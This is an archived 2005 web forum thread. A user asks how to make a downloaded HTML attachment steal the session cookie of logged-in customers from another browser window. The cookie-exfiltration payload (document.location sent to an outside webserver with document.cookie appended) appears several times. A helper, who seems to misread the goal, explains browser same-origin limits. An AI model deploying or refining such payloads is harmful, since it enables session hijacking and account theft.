Click to See Complete Forum and Search --> : <script>document.location=


johndoes
08-08-2005, 12:34 PM
i need some really big help im trying to log a cookie

the cookie is logged when .html file is downloaded then opened the problem is
the download is opened in another window so the cookie script isnt logging

<html>

<body>

<script>document.location='http://webserver.com:80/'+document.cookie</script>

</body>

</html>

"document.location"
its logging the cookie from the location which is a new window
so there isnt a cookie in the new window

how do i log the cookie of the other window it was opened from

Ultimater
08-08-2005, 12:41 PM
Can you show us what your cookie looks like when it is created? It would help if you'd tell us what this returns when there is a cookie present:

<script type="text/javascript">alert(document.cookie)</script>

in place of this:

<script>document.location='http://webserver.com:80/'+document.cookie</script>


I hope your cookie isn't a session cookie... Can you show us the code that is being used to create the cookie in the first place?

johndoes
08-08-2005, 12:45 PM
page 1
has a download

you click download it opens page2

now page 2 tries to log the cookie when its opened

but i want page 2 log the cookie of page 1( must do this from page 2)

but i dunno the java function to do this, i only know document.location

which logs the current cookie in the location

thanks

hope this helped
--------------------------------------

Ultimater
08-08-2005, 01:08 PM
We need to provide an expiration date for your cookie so it doesn't auto-expire at the termination of your browser. If you could spill us some code -- we could fix-up your errors. If you've got a link, give us the link. We cannot fix your error if we don't have the code that is used to create your cookie or even know what data is in your cookie or even if your cookie is a session cookie.

johndoes
08-08-2005, 01:18 PM
its just normail cookie session cookie u know like forums etc..

Ultimater
08-08-2005, 01:22 PM
I already know that. I need to see your code to work any futher in order to make the corrections. Work with me and at least give me the Hyperlink to your website so I can view the source and fix the error. Even if you spill the full code (of the page creating the cookie) on the table it would be fine.

johndoes
08-08-2005, 01:26 PM
your not understanding me
----------------------
<html>

<body>

<script>document.location='http://webserver:80/'+document.cookie</script>

</body>

</html>
----------------------------

this will be in a .html, this is then opened and downloaded in a new window, it trys to log the cookie of the new window (is none)but i want it to log the cookie of the previous window, window 1

"document.location" i want this part to log cookie from previous window

Ultimater
08-08-2005, 01:52 PM
Then give me the code that is used to create the cookie from the previous window! Your little script

<script>document.location='http://webserver:80/'+document.cookie</script>

doesn't tell me anything about the cookie. I need to edit the code on your previous page that is used to create the cookie correctly thus adjusting the expiration time.

If you don't know what code to give me, at least provide a hyperlink to your website, for the third time!

johndoes
08-08-2005, 02:49 PM
ill i want to ****ing know is the java var to log a cookie in the previous window

i dunno

document.previous

or something
man u do not need to see anything else

Ultimater
08-08-2005, 02:59 PM
You haven't given us enough information.

You can't view an expired cookie, because it no longer exists. If you don't provide a date for the cookie to last until, by default the cookie expires as soon as the browser session has ended. You will need to edit the code that is used to create the cookie so it will last longer for the next page to be able to see it. Using a querystring would be a much better method than cookies, in any case, because it doesn't rely on cookies being enabled.

We ain't required to help you.

johndoes
08-08-2005, 03:04 PM
the cookie wont expire if the customer is still logged in

Ultimater
08-08-2005, 03:08 PM
It would help if you'd tell us what this returns when there is a cookie present:

<script type="text/javascript">alert(document.cookie)</script>

in place of this:

<script>document.location='http://webserver.com:80/'+document.cookie</script>


Did you give that a shot so we can see the format of the cookie?

johndoes
08-08-2005, 03:11 PM
How can that work

there is no cookie in the document its a blank window im trying to get a cookie from another window

when u download the .html attachment it opens a new window and runs

Ultimater
08-08-2005, 03:21 PM
If they run the file locally on their computer, then you cannot just simply look at the cookie created because it was created from a different webdomain than which created the cookie. For example yahoo.com cannot look at cookies on your computer created by google.com. Yahoo.com cannot look at cookies created from locally run webpages nor vice-versa.

The best you can do is make 'em submit a FORM to your server in order to get the information you need from the locally running page.